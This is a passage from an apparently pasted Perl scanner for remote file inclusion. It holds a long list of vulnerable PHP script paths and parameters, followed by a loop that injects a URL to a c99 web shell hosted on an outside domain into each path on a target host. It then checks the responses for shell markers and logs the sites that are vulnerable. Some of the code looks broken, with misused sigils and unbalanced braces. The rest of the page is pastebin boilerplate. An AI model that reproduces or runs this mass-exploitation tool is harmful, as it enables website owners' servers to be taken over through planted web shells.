  559. $rfi541="gallery/captionator.php?GALLERY_BASEDIR=";
  560. $rfi542="cgi-bin/main.php?x=";
  561. $rfi543="Blog/BlogModel.php?path=";
  562. $rfi544="admin.php?cal_dir=";
  563. $rfi545="expanded.php?conf=";
  564. $rfi546="displayCategory.php?basepath=";
  565. $rfi547="phpBB2/admin/admin_cash.php?phpbb_root_path=";
  566. $rfi548="modules/foro/includes/functions_admin.php?phpbb_root_path=";
  567. $rfi549="modules/Forums/admin/admin_forums.php?phpEx=";
  568. $rfi550="modules/Forums/admin/admin_disallow.php?phpEx=";
  569. $rfi551="modules/Forums/admin/admin_smilies.php?phpEx=";
  570. $rfi552="modules/Forums/admin/admin_board.php?phpEx=";
  571. $rfi553="modules/Forums/admin/admin_users.php?phpEx=";
  572. $rfi554="modules/Forums/admin/admin_mass_email.php?phpEx=";
  573. $rfi555="modules/Forums/admin/admin_forum_prune.php?phpEx=";
  574. $rfi556="index.php?hc=";
  575. $rfi557="mt-comments.cgi?id=";
  576. $rfi558="webcalendar/tools/send_reminders.php?includedir=";
  577. $rfi559="cmd/product_info.php/products_id/1622/shop_content.php?coID=";
  578. $rfi560="addevent.inc.php?agendax_path=";
  579. $rfi561="step_one.php?server_inc=";
  580. $rfi562="upgrade_album.php?GALLERY_BASEDIR=";
  581. $rfi563="modules.php?name=";
  582. $rfi564="wagora/extras//quicklist.php?site=";
  583. $rfi565="vCard/admin/define.inc.php?match=";
  584. $rfi566="forum/ubbthreads.php?Cat=";
  585. $rfi567="admin/includes/classes/spaw/spaw_control.class.php?spaw_root=";
  586. $rfi568="secure.php?cfgProgDir=";
  587. $rfi569="modules/My_eGallery/public//inc/?HCL_path=";
  588. $rfi570="modules/My_eGallery/public/imagen.php?basepath=";
  589. $rfi571="adlayer.php?layerstyle=";
  590. $rfi572="Forums/bb_smilies.php?name=";
  591. $rfi573="modules/Forums/bb_smilies.php?name=";
  592. $rfi574="gadgets/Blog/BlogModel.php?path=";
  593. $rfi575="learnlinc/clmcpreload.php?CLPATH=";
  594. $rfi576="modernbill/samples/news.php?DIR=";
  595. $rfi577="religions/faq.php?page=";
  596. $rfi578="forum/viewtopic.php?t=";
  597. $rfi579="announcements.php?includePath=";
  598. $rfi580="phpatm/index.php?include_location=";
  599. $rfi581="gb/form.inc.php3?lang=";
  600. $rfi582="shannen/index.php?x=";
  601. $rfi583="family/phpgedview/index.php?PGV_BASE_DIRECTORY=";
  602. $rfi584="main.php?left=";
  603. $rfi585="forum/misc.php?action=";
  604. $rfi586="nucleus/libs/globalfunctions.php?DIR_LIBS=";
  605. $rfi587="show_archives.php?cutepath=";
  606. $rfi588="gallery.php=";
  607. $rfi589="magicforum/misc.php?action=";
  608. $rfi590="forum/admin/actions/del.php?include_path=";
  609. $rfi591="local/investing_industrialeastate1.php?a=";
  610. $rfi592="modules/coppermine/themes/default/theme.php?THEME_DIR=";
  611. $rfi593="Popper/index.php?childwindow.inc.php?form=";
  612. $rfi594="class.mysql.php?path_to_bt_dir=";
  613. $rfi595="include/footer.inc.php?_AMLconfig[cfg_serverpath]=";
  614. $rfi596="eyeos/desktop.php?baccio=";
  615. $rfi597="index.php?modpath=";
  616. $rfi598="index.php?sqld=";
  617. $rfi599="modules/module_db.php?pivot_path=";
  618. $rfi600="catalog/includes/include_once.php?include_file=";
  619. $rfi601="cgi-bin/calendar.pl?fromTemplate=";
  620. $rfi602="live/inc/pipe.php?HCL_path=";
  621. $rfi603="zb41/include/write.php?dir=";
  622. $rfi604="cgi-bin/awstats.pl?logfile=";
  623. $rfi605="presse/stampa.php3?azione=";
  624. $rfi606="inc/step_one_tables.php?server_inc=";
  625. $rfi607="index.php?mainpage=";
  626. $rfi608="phpprojekt/lib/authform.inc.php?path_pre=";
  627. $rfi609="captionator.php?GALLERY_BASEDIR=";
  628. $rfi610="_head.php?_zb_path=";
  629. $rfi611="achievo/atk/javascript/class.atkdateattribute.js.php?config_atkroot=";
  630. $rfi612="gallery/captionator.php?GALLERY_BASEDIR=";
  631. $rfi613="globals.php3?LangCookie=";
  632. $rfi614="include/msql.php?inc_dir=";
  633. $rfi615="include/mssql7.php?inc_dir=";
  634. $rfi616="include/mysql.php?inc_dir=";
  635. $rfi617="include/oci8.php?inc_dir=";
  636. $rfi618="include/postgres.php?inc_dir=";
  637. $rfi619="include/postgres65.php?inc_dir=";
  638. $rfi620="install.php?phpbb_root_dir=";
  639. $rfi621="mantis/login_page.php?g_meta_inc_dir=";
  640. $rfi622="page.php?template=";
  641. $rfi623="phorum/admin/actions/del.php?include_path=";
  642. $rfi624="pollensondage.inc.php?app_path=";
  643. $rfi625="user/agora_user.php?inc_dir=";
  644. $rfi626="user/ldap_example.php?inc_dir=";
  645. $rfi627="userlist.php?ME=";
  646. $rfi628="_functions.php?prefix=";
  647. $rfi629="cpcommerce/_functions.php?prefix=";
  648. $rfi630="ashnews.php?pathtoashnews=";
  649. $rfi631="eblog/blog.inc.php?xoopsConfig[xoops_url]=";
  650. $rfi632="b2-tools/gm-2-b2.php?b2inc=";
  651. $rfi633="includes/include_once.php?include_file=";
  652. $rfi634="modules.php?name=jokeid=";
  653. $rfi635="livehelp/inc/pipe.php?HCL_path=";
  654. $rfi636="hcl/inc/pipe.php?HCL_path=";
  655. $rfi637="support/faq/inc/pipe.php?HCL_path=";
  656. $rfi638="help/faq/inc/pipe.php?HCL_path=";
  657. $rfi639="helpcenter/inc/pipe.php?HCL_path=";
  658. $rfi640="live-support/inc/pipe.php?HCL_path=";
  659. $rfi641="gnu3/index.php?doc=";
  660. $rfi642="gnu/index.php?doc=";
  661. $rfi643="phpgwapi/setup/tables_update.inc.php?appdir=";
  662. $rfi644="inc/authform.inc.php?path_pre=";
  663. $rfi645="include/authform.inc.php?path_pre=";
  664. $rfi646="web_statistics/modules/coppermine/themes/default/theme.php?THEME_DIR=";
  665. $rfi647="web_statistics//tools/send_reminders.php?includedir=";
  666. $rfi648="web_statistics//include/write.php?dir=";
  667. $rfi649="web_statistics//modules/My_eGallery/public/displayCategory.php?basepath=";
  668. $rfi650="web_statistics//calendar/tools/send_reminders.php?includedir=";
  669. $rfi651="web_statistics//skin/zero_vote/error.php?dir=";
  670. $rfi652="web_statistics//coppercop/theme.php?THEME_DIR=";
  671. $rfi653="include/livre_include.php?chem_absolu=";
  672. $rfi654="calendar/calendar.php?serverPath=";
  673. $rfi655="calendar/functions/popup.php?serverPath=";
  674. $rfi656="calendar/events/header.inc.php?serverPath=";
  675. $rfi657="calendar/events/datePicker.php?serverPath=";
  676. $rfi658="calendar/setup/setupSQL.php?serverPath=";
  677. $rfi659="calendar/setup/header.inc.php?serverPath=";
  678. $rfi660="install/index.php?G_PATH=";
  679. $rfi661="phpshop/index.php?base_dir=";
  680. $rfi662="contacts.php?cal_dir=";
  681. $rfi663="convert-date.php?cal_dir=";
  682. $rfi664="stats/modules/My_eGallery/index.php?basepath=";
  683. $rfi665="stats/include/write.php?dir=";
  684. $rfi666="stats/tools/send_reminders.php?includedir=";
  685. $rfi667="index.cgiupgrade_album.php?GALLERY_BASEDIR=";
  686. $rfi668="pollvote/pollvote.php?pollname=";
  687. $rfi669="includes/page_header.php?dir=";
  688. $rfi670="index2.php?mosConfig_absolute_path=";
  689. $rfi671="new/bbs//include/write.php?dir=";
  690. $rfi672="index.php?mosConfig_absolute_path=";
  691. $rfi673="modules/My_eGallery/public/inc/?HCL_path=";
  692. $rfi674="forum/auth/auth.php?phpbb_root_path=";
  693. $rfi675="forum/auth/auth_phpbb/phpbb_root_path=";
  694. $rfi676="cutenews/comments.php?cutepath=";
  695. $rfi677="coppermine/thumbnails.php?lang=";
  696. $rfi678="gallery/thumbnails.php?lang=";
  697. $rfi679="aWebNews/visview.php?path_to_news=";
  698. $rfi680="4images/index.php?template=";
  699. $rfi681="galeri/index.php?template=";
  700. $rfi682="components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=";
  701. $rfi683="components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=";
  702. $rfi684="components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=";
  703. $rfi685="components/com_simpleboard/image_upload.php?sbp=";
  704. $rfi686="gallery/index.php?template=";
  705. $rfi687="modules/Forums/admin/index.php?phpbb_root_path=";
  706. $rfi688="modules/Forums/admin/admin_avatar.php?phpbb_root_path=";
  707. $rfi689="_wk/wk_lang.php?wkPath=";
  708. $rfi690="index.php?sayfa=";
  709. $rfi691="index.php?s=";
  710. $rfi692="apc-aa/cached.php3?GLOBALS[AA_INC_PATH]=";
  711. $rfi693="include/SQuery/gameSpy2.php?libpath=";
  712. $rfi694="includes/class_template.php?quezza_root_path=";
  713. $rfi695="classified_right.php?language_dir=";
  714. $rfi696="chat/messagesL.php3?cmd=";
  715. $rfi697="admin/plog-admin-functions.php?configbasedir=";
  716. $rfi698="content.php?content=";
  717. $rfi699="q-news.php?id=";
  718. $rfi700="setup/index.php?GALLERY_BASEDIR=";
  719. $rfi701="index.php?content=";
  720. $rfi702="index.php?action=downloadfile&filename=index.php&directory=";
  721. $rfi703="index.php?abs_path=";
  722. $rfi704="modules/xfsection/modify.php?dir_module=";
  723. $rfi705="admin/admin_ranks.php?phpbb_root_path=";
  724. $rfi706="modules/admin/admin_ranks.php?phpbb_root_path=";
  725. $rfi707="modules/Forums/admin/admin_ranks.php?phpbb_root_path=";
  726. $rfi708="plugins/spamx/MTBlackList.Examine.class.php?_CONF[path]=";
  727. $rfi709="modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=";
  728. $rfi710="modules/4nAlbum/public/displayCategory.php?basepath=";
  729.  
  730.  
  731. $int = $values[ rand(4) ];
  732. for($int=1;$int<710;$int++){
  733. @cmdgif="http://ctte.php0h.com/c99.txt?";
  734. $lol="rfi";
  735. $asd=$lol.$int;
  736. $url2="http://".$host."/".$$asd."@cmdgif?";
  737. my $req=HTTP::Request->new(GET=>$url2);
  738. my $ua=LWP::UserAgent->new();
  739. $ua->timeout(10);
  740. my $response=$ua->request($req);
  741.  
  742. if ($response->is_success) {
  743.  if( $response->content =~ /r00tShell/ && $response->content =~ /TEAM/ ){
  744. open(FILE,">>file.txt");
  745. print FILE "$url2\n";
  746. close(FILE);
  747. print "$url2 is vulnz..\n";
  748. }}
  749. }
  750. }

advertising

Update the Post

Either update this post and resubmit it with changes, or make a new post.

You may also comment on this post.

update paste below
details of the post (optional)

Note: Only the paste content is required, though the following information can be useful to others.

Save name / title?

(space separated, optional)



Please note that information posted here will expire by default in one month. If you do not want it to expire, please set the expiry time above. If it is set to expire, web search engines will not be allowed to index it prior to it expiring. Items that are not marked to expire will be indexable by search engines. Be careful with your passwords. All illegal activities will be reported and any information will be handed over to the authorities, so be good.

worth-right
worth-right